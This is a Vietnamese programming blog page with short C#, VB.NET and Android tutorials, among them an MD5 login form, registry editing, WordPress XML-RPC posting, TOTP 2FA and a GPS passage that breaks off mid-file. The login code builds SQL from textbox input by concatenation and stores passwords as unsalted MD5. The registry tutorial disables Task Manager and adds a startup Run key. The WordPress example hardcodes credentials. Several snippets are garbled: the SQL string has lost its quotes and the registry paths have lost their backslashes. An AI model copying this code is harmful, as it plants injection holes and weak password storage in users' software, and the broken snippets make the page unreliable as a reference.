[C#] Connect MS Access with C#


Bài viết này mình sẽ hướng dẫn cho các bạn cách kết nôi với cơ sở dữ liệu (CSDL) Microsoft Access bằng ngôn ngữ lập trình C#.

Kết nối MS Access với C#

Tạo một đối tượng kết nối đến CSDL Access bằng
using System.Data.OleDb

Bạn cấu hình một đối tượng kết nối bằng một chuỗi kết nối. Chuỗi kết nối là một tập các cặp giá trị tên được phân cách bằng dấu chấm phẩy. Bạn có thể cung cấp một chuỗi kết nối làm đối số trong phương thức khởi dựng hoặc bằng cách thiết lập thuộc tính ConnectionString của đối tượng kết nối trước khi mở kết nối. Mỗi hiện thực lớp kết nối yêu cầu bạn cung cấp những thông tin khác nhau trong chuỗi kết nối.

Đoạn mã dưới đây trình bày cách sử dụng lớp OleDbConnection để mở một kết nối đến MS. Access.
OleDbConnection strcon = new OleDbConnection();
public void Open_DataAccess()
{
string s = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + Application.StartupPath + "SX.mdb";
      strcon.ConnectionString = s;
      strcon.Open();
}

Sử dụng Dataset để load dữ liệu lên form như sau:

public DataSet Load_Data()

{
      DataSet dsHienThi = new DataSet();
      string s = "select mahomh,maloaimh,mamh,tenmh from DL_MatHang";
      Open_DataAccess();
      OleDbDataAdapter daShowData = new OleDbDataAdapter(s, strcon);
      daShowData.Fill(dsHienThi, "DL_MatHang");
      Close_Connect();
      return dsHienThi;

}

Load dữ liệu lên DataGirdView

DataSet ds=new DataSet();
ds = Load_Data();
dataGridView1.DataSource = ds.Tables [0];

Chúc các bạn thành công với thủ thuật trên.

on Chủ Nhật, 31 tháng 3, 2024 | , , | A comment?

[VB.NET] Login form with MD5 encrypted password

Hi mọi người, thông thường bất cứ chương trình nào cũng phải thiết kế form đăng nhập để truy cập vào phần mềm, có nhiều cách viết đăng nhập khác nhau với các kiểu mã hóa mật khẩu phổ biến nhứ MD5, SHA,... Giới hạn trong bài viết này mình sẽ hướng dẫn cách mã hóa theo dạng MD5 (32 ký tự).


Trước tiên bạn thiết kế form đăng nhập cơ bản như sau:

Tại ô mật khẩu các bạn điều chỉnh thuộc tính của Textbox chỉ hiển thị dạng dấu (*).

Hàm kiểm tra mật khẩu:

Public Function _kiemtra(ByVal strLenh As String) As Integer
        Dim intkt As Integer
        open_connect()
        Dim cmd As New SqlCommand(strLenh, strconnect)
        intkt = cmd.ExecuteScalar
        strconnect.Close()
        Return intkt
End Function

Hàm mã hóa MD5

Public Function encryptData(ByVal data As String) As Byte()
        Dim md5Hasher As New System.Security.Cryptography.MD5CryptoServiceProvider()
        Dim hashedBytes As Byte()
        Dim encoder As New System.Text.UTF8Encoding()
        hashedBytes = md5Hasher.ComputeHash(encoder.GetBytes(data))
        Return hashedBytes
End Function

Public Function md5(ByVal data As String) As String
        Return BitConverter.ToString(encryptData(data)).Replace("-", "").ToLower()
End Function

Vấn đề bây giờ sử dụng như thể nào? Tại nút đăng nhập bạn viết như sau:

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim intKiemTra As Integer = _kiemtra("select count(*) from tbl_user where tendangnhap= & txtTenDangNhap.Text &  and matkhau= & md5(txtMatKhau.Text) & ")
        If intKiemTra = 1 Then
            MessageBox.Show("Đăng nhập thành công!")
        Else
            MessageBox.Show("Đăng nhập không thành công!")
        End If
End Sub

Bây giờ bạn nhấn F5 để kiểm tra thành quả của mình xem nào?
Một lưu ý nhỏ,khi bạn tạo tài khoản người dùng để đăng nhập bằng cách lưu lại mật khẩu mã hóa MD5. Chúc các bạn thành công!

on Thứ Năm, 28 tháng 3, 2024 | , | A comment?

[VB.NET] Write an application that runs with Arguments Params parameters

Hi mọi người, bài viết này mình sẽ hướng dẫn các bạn viết ứng dụng khởi động có sử dụng tham số Argument Parameter trong lập trình VB.NET.


Vậy ứng dụng có LOAD Application with Argument VB.NET là gì?

[VB.NET] Viết ứng dụng chạy có tham số Arguments Params

Các bạn có thể khởi động CMD lên:

Ví dụ: Ứng dụng của chúng ta có tên là MyApplicaiton.exe
C:/MyApplication.exe thamso1 thamso2 thamso3 thamso..n

Thì sau khởi động tên ứng dụng có kèm tham số thì mình sẽ đọc tham số truyền vào như thế nào. Khi đọc được tham số truyền vào thì chúng ta sẽ xử lý chúng theo ý của mình.

Các bạn có thể xem Demo bên dưới:
 
Chương trình phía dưới là khởi động ứng dụng theo tham số thì đọc tấm hình đó.

FULL SOURCE CODE.

 Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim args As String() = Environment.GetCommandLineArgs()
        'PictureBox1.Image = New Bitmap("img7.jpg")
        If args.Length > 1 Then
            PictureBox1.Image = New Bitmap(args(1))
            Label2.Text = args(1)

        End If
    End Sub

[VB.NET] Programming automatic posting of news to Wordpress using XML-RPC

Trong bài viết này, mình xin hướng dẫn các bạn viết ứng dụng tự động đăng tin lên blog Wordpress. Trong tuts này mình sử dụng XML-RPC để post bài từ ứng dụng VB.NET của mình lên trang web.


[VB.NET] Lập trình đăng tin tự động lên Wordpress sử dụng XML-RPC

Đầu tiên, mình xin nói về thằng XML-RPC là gì?

XML-RPC là một cài đặt RPC (Remote Procedure Call) trên nền giao thức HTTP, sử dụng XML để mã hoá và trao đổi dữ liệu.


Giao diện demo của ứng dụng auto post tin lên blog Wordpress:

Bước 1: Các bạn tạo các control và cài đặt thuộc tính cho nó như sau
Textbox 1 : Name : txtTitle
Textbox 2 : Name : txtpost, Multiline : True
Button : Name: btnPost

Bước 2: Tiếp tục chèn thư viện XMLRPC.NET vào solution, các bạn có thể download thư viện về trên trang http://xml-rpc.net.

Bước 3: Chúng ta code cho sự kiện khi click vào button btnPost như sau

+ Code ứng dụng bằng ngôn ngữ lập trình VB.NET

  Imports CookComputing.XmlRpc
 
Public Structure blogInfo
      Public title As String
      Public description As String
End Structure
 
Public Interface IgetCatList
       _
      Function NewPage(ByVal blogId As Integer, ByVal strUserName As String, ByVal strPassword As String, ByVal content As blogInfo, ByVal publish As Integer) As String
End Interface

Dim newBlogPost As blogInfo = Nothing
newBlogPost.title = txtTitle.Text
newBlogPost.description = txtPost.Text
categories = CType(XmlRpcProxyGen.Create(GetType(IgetCatList)), IgetCatList)
clientProtocol = CType(categories, XmlRpcClientProtocol)
clientProtocol.Url = "http://127.0.0.1/wpl/xmlrpc.php"
Dim result As String = Nothing
result = ""
Try
      result = categories.NewPage(1, "shoban", "shoban", newBlogPost, 1)
      MessageBox.Show("Posted to Blog successfullly! Post ID : " & result)
      txtPost.Text = ""
      txtTitle.Text = ""
Catch ex As Exception
      MessageBox.Show(ex.Message)
End Try
+ Sử dụng code  bằng ngôn ngữ C#

using CookComputing.XmlRpc;
 
public struct blogInfo
{
    public string title;
    public string description;
}
 
public interface IgetCatList
{
    [CookComputing.XmlRpc.XmlRpcMethod("metaWeblog.newPost")]
    string NewPage(int blogId, string strUserName,
        string strPassword, blogInfo content, int publish);
}

blogInfo newBlogPost = default(blogInfo);
newBlogPost.title = txtTitle.Text;
newBlogPost.description = txtPost.Text;
categories = (IgetCatList)XmlRpcProxyGen.Create(typeof(IgetCatList));
clientProtocol = (XmlRpcClientProtocol)categories;
clientProtocol.Url = "http://127.0.0.1/wpl/xmlrpc.php";
string result = null;
result = "";
try
{
    result = categories.NewPage(1, "shoban", "shoban", newBlogPost, 1); MessageBox.Show("Posted to Blog successfullly! Post ID : " + result);
    txtPost.Text = "";
    txtTitle.Text = "";
}
catch (Exception ex)
{
    MessageBox.Show(ex.Message);
}
  

Chúc các bạn thành công với thủ thuật trên.

[VB.NET] Instructions for operating Regedit to edit Windows system

Hôm nay, mình hướng dẫn các bạn cách thao tác trên regedit của windows để chỉnh sửa hệ thống, như: khóa chức năng taskmanager, hay khóa control panel, cho phép ứng dụng mình tạo ra có thể tự động chạy khi khởi động windows... nói chung tất cả những gì chúng ta thao tác trên regedit bằng tay, ta có thể sử dụng VB.NET để chỉnh sửa thông số của key... Cơ bản là các bạn phải nắm rõ một số cơ bản về registry trong windows.
Hướng dẫn thao tác Regedit để chỉnh sửa hệ thống Windows


Lưu ý: khi thao tác với registry bạn cần back up lại khóa của nó, không sẽ ảnh hưởng đến hệ thống windows của bạn.

+ Lưu ý: Tại vì ứng dụng thao tác trực tiếp lên hệ thống của người dùng, nên ứng dụng thao tác với registry các bạn tạo ra phải chạy ở chế độ (Run Administrator)
Chúng ta Chỉnh sủa bằng cách sau: Vào menu project -> properties


VD: Thông thường chúng ta muôn khóa taskmanager, chúng ta thao tác trên windows bằng cách (Window +R) => regedit
sau đó chúng ta thao vào theo đường dẫn:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem

sau đó, chúng ta chỉnh value của DisableTaskMgr = 0 (disable) hoặc giá trị = 1 (enable) chức năng.
Dưới đây là code VB, rất đơn giản, bạn có thể tham khảo và chỉnh sửa dễ dàng
Đầu tiên ta khai báo đối tượng object Registry
Dim RegistryKey As Object

Sau đó, ta code event khi click vào button disable để khóa taskmanager với value =1, để hiện thị lại taskmanager mình chỉ cần chỉnh value = 0
RegistryKey = CreateObject("WScript.Shell")
        RegistryKey.regwrite("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr", 1, "REG_DWORD")

+ Cấu hình cho phép ứng dụng tự động chạy khi khởi động window (auto run app at boot time)
- Cho phép khởi động cùng window
My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionRun", True).SetValue(Application.ProductName, Application.ExecutablePath)

- Không cho phép khởi động cùng window
My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionRun", True).DeleteValue(Application.ProductName)

Nhìn qua 2 đoạn code phía trên bạn thấy sự khác biết gì ở mục cho phép khởi động và mục không cho phép khởi động không?

Ở mục cho phép khỏi động thì có sự khác biệt ở đoạn code .SetValue và ngược lại ở mục không cho phép nó xoá đi với đoạn code .DeleteValue.

Như vậy nó đã giúp bạn hiểu rỏ hơn chút về hệ thống chứ. Như vậy mình có thể sử dụng thao tác trên regedit để điền thông tin về ứng dụng của mình, hoặc bạn cũng có thể tạo KEY cho ứng dụng của mình v..v

Chúc các bạn thành công với thủ thuật trên để tích hợp vào chương trình một cách tốt nhất nhé.

on Thứ Tư, 27 tháng 3, 2024 | , | A comment?

[C#] Display GIF images on button, picturebox, label winform

Xin chào các bạn, bài viết hôm nay mình sẽ hướng dẫn các bạn cách chèn hình Gif và button, picturebox, hay label trong winform lập trình C#.


[C#] Hiển thị hình ảnh GIF vào button, picturebox, label winform


Bạn có thể hiển thị hình Gif thông qua thuộc tính BackgroundImage trong từng button trên. Và các bạn chỉnh lại vị trí của hình theo nhu cầu của mình: trái, giữa hay bên phải tùy bạn.

Source code Animation Button Gif C#:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

using System.IO;

namespace howto_display_animated_gif
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        // Switch GIFs.
        bool ButtonShowingPuppy = false;
        private void btnGif_Click(object sender, EventArgs e)
        {
            ButtonShowingPuppy = !ButtonShowingPuppy;
            if (ButtonShowingPuppy)
            {
                btnGif.Image = howto_display_animated_gif.Properties.Resources.puppy;
            }
            else
            {
                btnGif.Image = howto_display_animated_gif.Properties.Resources.under_construction;
            }
        }

        // Switch GIFs, loading from files.
        bool PictureBoxShowingPuppy = false;
        private void picGif_Click(object sender, EventArgs e)
        {
            PictureBoxShowingPuppy = !PictureBoxShowingPuppy;
            if (PictureBoxShowingPuppy)
            {
                picGif.Image = howto_display_animated_gif.Properties.Resources.puppy;
            }
            else
            {
                picGif.Image = howto_display_animated_gif.Properties.Resources.under_construction;
            }
        }

        // Switch GIFs.
        bool LabelShowingAlien = false;
        private void lblGif_Click(object sender, EventArgs e)
        {
            string filename = Path.GetFullPath(
                Path.Combine(Application.StartupPath, @"..\..\"));

            LabelShowingAlien = !LabelShowingAlien;
            if (LabelShowingAlien)
            {
                lblGif.Image = Image.FromFile(filename + "alien.gif");
            }
            else
            {
                lblGif.Image = Image.FromFile(filename + "under_construction.gif");
            }
        }
    }
}

Chúc các bạn thành công.

DOWNLOAD SOURCE CODE


PASSWORD UNZIP: HUNG.PRO.VN

on Thứ Ba, 26 tháng 3, 2024 | , | A comment?

[C#] Show progressbar in Console App

Xin chào các bạn, bài viết hôm nay mình tiếp tục hướng dẫn các bạn cách hiển thị phần trăm Progressbar trên Console App C#.


[C#] Download File with progressbar in Shell Console App


Để hiển thị progresbar trong bài này mình sẻ sử dụng thư viện ShellProgressBar version 5.2
Các bạn, cài đặt từ Nuget với lệnh sau:
NuGet\Install-Package ShellProgressBar -Version 5.2.0

Project của các bạn phải target NetFramework từ 4.6 trở lên nhé.

Giao diện demo ứng dụng download file with progressbar Shell console c#:

Source code c#:

using ShellProgressBar;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace progressBarConsole
{
    internal class Program
    {
        static async Task Main(string[] args)
        {
            await StartAsync();
        }
        protected static Task StartAsync()
        {
            var files = new string[]
            {
                "https://github.com/Mpdreamz/shellprogressbar/archive/4.1.0.zip",
                "https://github.com/Mpdreamz/shellprogressbar/archive/4.0.0.zip",
                "https://download.microsoft.com/download/8/a/8/8a8073d2-2e00-472b-9a18-88361d105915/SSMS-Setup-ENU.exe",
                "https://r1---sn-8qj-nbo6y.gvt1.com/edgedl/android/studio/install/2021.3.1.17/android-studio-2021.3.1.17-windows.exe?mh=P9&pl=21&shardbypass=sd&redirect_counter=1&rm=sn-i3b6d7l&req_id=e4e35ad8c06bf917&cms_redirect=yes&cmsv=e&ipbypass=yes&mip=113.161.94.127&mm=28&mn=sn-8qj-nbo6y&ms=nvh&mt=1669251971&mv=u&mvi=1",
               
            };
            var childOptions = new ProgressBarOptions
            {
                ForegroundColor = ConsoleColor.Cyan,
               // ProgressCharacter = '\u2593',
                EnableTaskBarProgress= true,
                ShowEstimatedDuration= true,
                DisplayTimeInRealTime= true,
                
            };
            var pbar = new ProgressBar(files.Length, "downloading");
            foreach (var (file, i) in files.Select((f, i) => (f, i)))
            {
                byte[] data = null;
                 var child = pbar.Spawn(100, "URL: " + file, childOptions);
                try
                {
                    var client = new WebClient();
                    client.DownloadProgressChanged += (o, args) => child.Tick(args.ProgressPercentage);
                    client.DownloadDataCompleted += (o, args) => data = args.Result;
                    client.DownloadDataAsync(new Uri(file));
                    while (client.IsBusy)
                    {
                        Thread.Sleep(1);
                    }

                    pbar.Tick();
                }
                catch (WebException error)
                {
                    pbar.WriteLine(error.Message);
                }
            }

            return Task.CompletedTask;
        }
    }
}

Cảm ơn các bạn đã xem.
Chúc các bạn thành công với thủ thuật này.

DOWNLOAD SOURCE CODE


PASSWORD UNZIP: HUNG.PRO.VN

on Thứ Hai, 25 tháng 3, 2024 | , | A comment?

[C#] Instructions for adding cookies to Http Request website

Xin chào các bạn, bài viết hôm nay mình sẽ hướng dẫn các bạn cách tích hợp cookie vào HttpRequest trong lập trình C#.


Khi các bạn gởi Request để lấy dữ liệu từ website, một số trang web có yêu cầu cookie để trả Response về.

[C#] Hướng dẫn thêm cookie vào Http Request website

Vậy Cookie là gì?

Cookie là một đoạn văn bản mà một Web server có thể lưu trên ổ cứng của người dùng. Cookie cho phép một website lưu các thông tin trên máy tính của người dùng và sau đó lấy lại nó.

Các mẩu thông tin sẽ được lưu dưới dạng cặp tên – giá trị (name-value).

Mình ví dụ ở trang web http://batdongsan.com.vn

Giống như hình ở trên, các bạn sẽ thấy khi truy cập lấy thông tin mới nhất từ trang web batdongsan.com.vn, thì nó sẽ gởi theo cookie với tham số
 
Key: psortfilter và Value: 1%24all%24%2BAhRasUDZiQ64tRxy5UrOQ%3D%3D

Ở đường dẫn request trên mình request từ địa chỉ: https://batdongsan.com.vn/ban-can-ho-chung-cu-tp-hcm

Nếu mặc định chúng ta không gởi kèm thông tin Cookie thì nó trả về cho chúng ta dữ liệu là tin thông thường.

Vì vậy, khi request chúng ta cần gởi bộ cookie để dữ liệu server trả về đúng yêu cầu của mình.
Dưới đây là hình ảnh demo Request khi sử dụng cookie và không sử dụng cookie để các bạn tham khảo:

Source code Cookie Http Request C#:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace bds
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        public Task MakeAsyncRequest(string url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            request.ContentType = "application/x-www-form-urlencoded";
            request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5";
            Cookie cookie = new Cookie("psortfilter", txt_cookie.Text);
            request.CookieContainer = new CookieContainer();
            Uri uri = new Uri(url);
            request.CookieContainer.Add(uri, cookie);

            request.Method = WebRequestMethods.Http.Get;
            request.Timeout = 20000;
            request.Proxy = null;

            Task task = Task.Factory.FromAsync(
                request.BeginGetResponse,
                asyncResult => request.EndGetResponse(asyncResult),
                (object)null);

            return task.ContinueWith(t => ReadStreamFromResponse(t.Result));
        }

        private static string ReadStreamFromResponse(WebResponse response)
        {
            using (Stream responseStream = response.GetResponseStream())
            using (StreamReader sr = new StreamReader(responseStream))
            {
                string strContent = sr.ReadToEnd();
                return strContent;
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            string http = "https://batdongsan.com.vn/ban-can-ho-chung-cu-tp-hcm";
            string data = MakeAsyncRequest(http).Result;
            richTextBox1.Text = data;
            webBrowser1.DocumentText = data;
        }


    }
}

Chúc các bạn thành công với thủ thuật trên.

[C#] How To Make 2FA Microsoft Authenticate Login In Winform

Xin chào các bạn, bài viết hôm nay mình tiếp tục hướng dẫn các bạn, cách bảo mật ứng dụng đăng nhập 2 lớp 2FA (Multi-factor Authentication) trên C# winform.


[C#] Hướng dẫn bảo mật ứng dụng 2FA (Multi-factor Authentication) trên Winform


Sơ bộ về thủ thuật trên và việc bảo mật.
 
Nhìn chung chương trình Microsoft Authenticate được phát triển như một dạng mã xác thực thứ hai, để người dùng phòng tránh việc bị tấn công tài khoản như ở các ngân hàng, luôn gửi mã xác thực về điện thoại hay ứng dụng để người dùng được biết có nên gửi tiền hay không.
 
Và hiện tại bên ngành của mình cũng đang thực hiện theo chương trình này để đăng nhập vào những ứng dụng riêng của ngành và phòng tránh virus lây lan vào mạng của ngành.
 

Dưới dây là hình ảnh demo của ứng dụng.


Đầu tiên, các bạn cài ứng dụng Microsoft Authenticate vào điện thoại của các bạn.
 
Tiếp đến các bạn scan mã qrcode trên.

Nó sẽ hiển thị cho các bạn mã OTP gồm 6 số để các bạn thực hiện đăng nhập 2FA.

Nó sẽ hiện thị số như hình ở trên.

FULL SOURCE CODE:

using OtpNet;
using QRCoder;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Windows.Media.Imaging;

namespace OTP_Microsoft_Auth
{
    public partial class Form1 : Form
    {
        readonly QRCodeGenerator qrGenerator = new QRCodeGenerator();
        const int DEFAULT_STEP = 30;
        public Form1()
        {
            InitializeComponent();
            txtAppName.Focus();
            txtAppName.Text = "Demo2FA Auth";
            txtIssuer.Text = "Thảo meo - Laptrinhvb.net";
            txtSecret.Text = Base32Encoding.ToString(KeyGeneration.GenerateRandomKey(20));
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }

        private void txtSecret_TextChanged(object sender, EventArgs e)
        {
            if (txtAppName.Text != "" && txtIssuer.Text != "" && txtSecret.Text != "")
            {
                var qrCodeUri = $"otpauth://totp/{Uri.EscapeDataString(txtAppName.Text)}?secret={txtSecret.Text}&issuer={Uri.EscapeDataString(txtIssuer.Text)}";

                using (var qrCodeData = qrGenerator.CreateQrCode(qrCodeUri, QRCodeGenerator.ECCLevel.Q))
                {
                    using (var qrCode = new QRCode(qrCodeData))
                    {
                        var qrCodeImage = qrCode.GetGraphic(20);

                        using (var memory = new MemoryStream())
                        {
                            qrCodeImage.Save(memory, ImageFormat.Bmp);
                            memory.Position = 0;
                            var bitmapImage = new Bitmap(memory);
                            pictureBox1.Image = bitmapImage;
                        }
                    }

                }

            }
        }

        private void txtVerify_Click(object sender, EventArgs e)
        {
            var totp = new Totp(Base32Encoding.ToBytes(txtSecret.Text));

            var isValidTotpCode = totp.VerifyTotp(txtCodeOTP.Text, out long timeStepMatched, new VerificationWindow(previous: 1, future: 1));

            var now = DateTime.UtcNow;
            var step = Math.Floor((now - new DateTime(1970, 1, 1)).TotalSeconds / DEFAULT_STEP);

            lblCode1.Text = $"{totp.ComputeTotp(now.AddSeconds(-DEFAULT_STEP))}{Environment.NewLine}({step - 1})";
            lblCode2.Text = $"{totp.ComputeTotp(now)}{Environment.NewLine}({step})";
            lblCode3.Text = $"{totp.ComputeTotp(now.AddSeconds(DEFAULT_STEP))}{Environment.NewLine}({step + 1})";


            if (isValidTotpCode)
            {
               
                MessageBox.Show($"Valid TOTP Code (step: {timeStepMatched})!");
            }
            else
            {
                MessageBox.Show("Invalid TOTP Code");
            }
        }

    
    }
}

Chúc mọi người thành công và bảo mật tốt chương trình của mình nhé.

DOWNLOAD SOURCE CODE


PASSWORD UNZIP: HUNG.PRO.VN

[VB.NET] GET IP ADDRESS MY COMPUTER

Hi mọi người, bài viết này hiện tại đang có rất nhiều trang chia sẽ về việc lấy đĩa chỉ mạng của mình rồi, và có thể kiểm tra trực tiếp trên website hoặc trên máy tình từ CMD

[VB.NET] LẤY ĐỊA CHỈ MÁY TÍNH CỦA BẠN

Nhưng hôm nay mình ngồi tìm hiểu lại và kiểm tra thì trên máy tính khi mình kiểm tra bằng CMD thì nó chỉ hiện thị địa chỉ IP người dùng, chứ nó không lấy ra địa chỉ mạng máy tính của nơi mình sữ dụng.

Bên dưới là hình ảnh ứng dụng.


Và bộ code hoàn toàn đơn giản nhé mọi người và không có gì phức tạp cả, đó là mình tuỳ biến để lấy thông tin từ một trang thứ 3 chứ không phải viết code để kiểm tra trực tiếp nhé mọi người.

FULL CODE GET IP ADDRESS.

Imports System.IO
Imports System.Text
Imports System.Net
Imports System.Windows.Forms.VisualStyles.VisualStyleElement
Public Class Form1
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Dim address As String = "https://ipinfo.io/ip"
        Dim client As WebClient = New WebClient()
        Dim reader As StreamReader = New StreamReader(client.OpenRead(address))
        TextBox1.Text = reader.ReadToEnd
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Clipboard.SetText(TextBox1.Text)
        Button1.Enabled = False
        Button1.Text = "DONE"
    End Sub

    Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
        Process.Start("https://hung.pro.vn")
    End Sub
End Class

Ở phía trên có địa chỉ link https://ipinfo.io/ip đó là trang mình lấy địa chỉ mạng nới bạn sữ dụng internet nhé.
 
Mình viết chương trình này chủ yếu là để học phương pháp lấy dữ liệu từ website và một số và mình đang cố gắng tìm hiểu nhiều nguyên lý mới để chia sẽ cho mọi người được hiểu rỏ hơn về những dòng code và các anh chị coder đang từng ngày viết ra những chương trình giúp cho người dùng internet và phát triển công nghiệp 4.0 nhé mọi người.

Nếu mọi người không tải chương trình thì có thể vào trực tiếp đường link tại đây để kiểm tra trực tiếp lôn nhé.

Cảm ơn mọi người đã quan tâm.

DOWNLOAD SOURCE CODE


PASSWORD UNZIP: HUNG.PRO.VN

on Thứ Bảy, 23 tháng 3, 2024 | , | A comment?

[ANDROID] Use Fused Location Provider Api for GPS positioning

Bài viết hôm nay, mình sẽ chia sẽ cho các bạn sử dụng thư viện Fused Location Api trong Android để định vị kinh độ và vĩ độ bằng GPS.

[ANDROID] Sử dụng Fused Location Provider Api để định vị GPS

Nếu các bạn, có đọc hay tìm hiểu về lấy latitude và longitude thì cách bình thường lấy là Implement LocationManager thì lấy vị trí tọa độ location ban đầu rất lâu.

Nhưng nếu các bạn sử dụng Fused Location Api thông qua google services thì lấy rất là nhanh.
[ANDROID] Use Fused Location Provider Api for GPS positioning

Đoan code MainActivity.java

package com.sakurafish.exam.location.api;

import android.Manifest;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.IntentSender;
import android.content.pm.PackageManager;
import android.databinding.DataBindingUtil;
import android.location.Location;
import android.os.Build;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.Toast;

import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.GoogleApiAvailability;
import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.common.api.PendingResult;
import com.google.android.gms.common.api.ResultCallback;
import com.google.android.gms.common.api.Status;
import com.google.android.gms.location.LocationListener;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationServices;
import com.google.android.gms.location.LocationSettingsRequest;
import com.google.android.gms.location.LocationSettingsResult;
import com.google.android.gms.location.LocationSettingsStatusCodes;
import com.sakurafish.exam.location.api.databinding.ActivityMainBinding;

import java.text.DateFormat;
import java.util.Date;

/**
 * Retrieve current location using Google Play Services Location API
 * Based on "https://github.com/googlesamples/android-play-location/tree/master/LocationUpdates"
 */
public class MainActivity extends AppCompatActivity implements GoogleApiClient.ConnectionCallbacks,
        GoogleApiClient.OnConnectionFailedListener,
        LocationListener {

    protected static final String TAG = "location-updates-sample";
    /**
     * 10秒間隔で位置情報を更新。実際には多少頻度が多くなるかもしれない。
     */
    public static final long UPDATE_INTERVAL_IN_MILLISECONDS = 10000;

    /**
     * 最速の更新間隔。この値より頻繁に更新されることはない。
     */
    public static final long FASTEST_UPDATE_INTERVAL_IN_MILLISECONDS =
            UPDATE_INTERVAL_IN_MILLISECONDS / 2;


    private final static String REQUESTING_LOCATION_UPDATES_KEY = "requesting-location-updates-key";
    private final static String LOCATION_KEY = "location-key";
    private final static String LAST_UPDATED_TIME_STRING_KEY = "last-updated-time-string-key";

    private static final int PERMISSIONS_REQUEST_ACCESS_FINE_LOCATION = 1;
    private static final int REQUEST_CHECK_SETTINGS = 10;

    private ActivityMainBinding mBinding;
    private GoogleApiClient mGoogleApiClient;
    private LocationRequest mLocationRequest;
    private Location mCurrentLocation;
    private Boolean mRequestingLocationUpdates;
    private String mLastUpdateTime;
    private String mLatitudeLabel;
    private String mLongitudeLabel;
    private String mLastUpdateTimeLabel;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        mBinding = DataBindingUtil.setContentView(this, R.layout.activity_main);
        mLongitudeLabel = getResources().getString(R.string.longitude_label);
        mLastUpdateTimeLabel = getResources().getString(R.string.last_update_time_label);
        mRequestingLocationUpdates = false;
        mLastUpdateTime = "";

        updateValuesFromBundle(savedInstanceState);
        buildGoogleApiClient();
    }

    private void updateValuesFromBundle(Bundle savedInstanceState) {
        Log.i(TAG, "Updating values from bundle");
        if (savedInstanceState != null) {
            if (savedInstanceState.keySet().contains(REQUESTING_LOCATION_UPDATES_KEY)) {
                mRequestingLocationUpdates = savedInstanceState.getBoolean(
                        REQUESTING_LOCATION_UPDATES_KEY);
                setButtonsEnabledState();
            }

            if (savedInstanceState.keySet().contains(LOCATION_KEY)) {
                mCurrentLocation = savedInstanceState.getParcelable(LOCATION_KEY);
            }
            if (savedInstanceState.keySet().contains(LAST_UPDATED_TIME_STRING_KEY)) {
                mLastUpdateTime = savedInstanceState.getString(LAST_UPDATED_TIME_STRING_KEY);
            }
            updateUI();
        }
    }

    protected synchronized void buildGoogleApiClient() {
        Log.i(TAG, "Building GoogleApiClient");
        mGoogleApiClient = new GoogleApiClient.Builder(this)
                .addConnectionCallbacks(this)
                .addOnConnectionFailedListener(this)
                .addApi(LocationServices.API)
                .build();
        createLocationRequest();
    }

    protected void createLocationRequest() {
        mLocationRequest = new LocationRequest();
        mLocationRequest.setInterval(UPDATE_INTERVAL_IN_MILLISECONDS);
        mLocationRequest.setFastestInterval(FASTEST_UPDATE_INTERVAL_IN_MILLISECONDS);
        mLocationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
    }

    public void startUpdatesButtonHandler(View view) {
        clearUI();
        if (!isPlayServicesAvailable(this)) return;
        if (!mRequestingLocationUpdates) {
            mRequestingLocationUpdates = true;
        } else {
            return;
        }

        if (Build.VERSION.SDK_INT < 23) {
            setButtonsEnabledState();
            startLocationUpdates();
            return;
        }
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
            setButtonsEnabledState();
            startLocationUpdates();
        } else {
            if (ActivityCompat.shouldShowRequestPermissionRationale(this, android.Manifest.permission.ACCESS_FINE_LOCATION)) {
                showRationaleDialog();
            } else {
                ActivityCompat.requestPermissions(this, new String[]{android.Manifest.permission.ACCESS_FINE_LOCATION}, PERMISSIONS_REQUEST_ACCESS_FINE_LOCATION);
            }
        }
    }

    public void stopUpdatesButtonHandler(View view) {
        if (mRequestingLocationUpdates) {
            mRequestingLocationUpdates = false;
            setButtonsEnabledState();
            stopLocationUpdates();
        }
    }

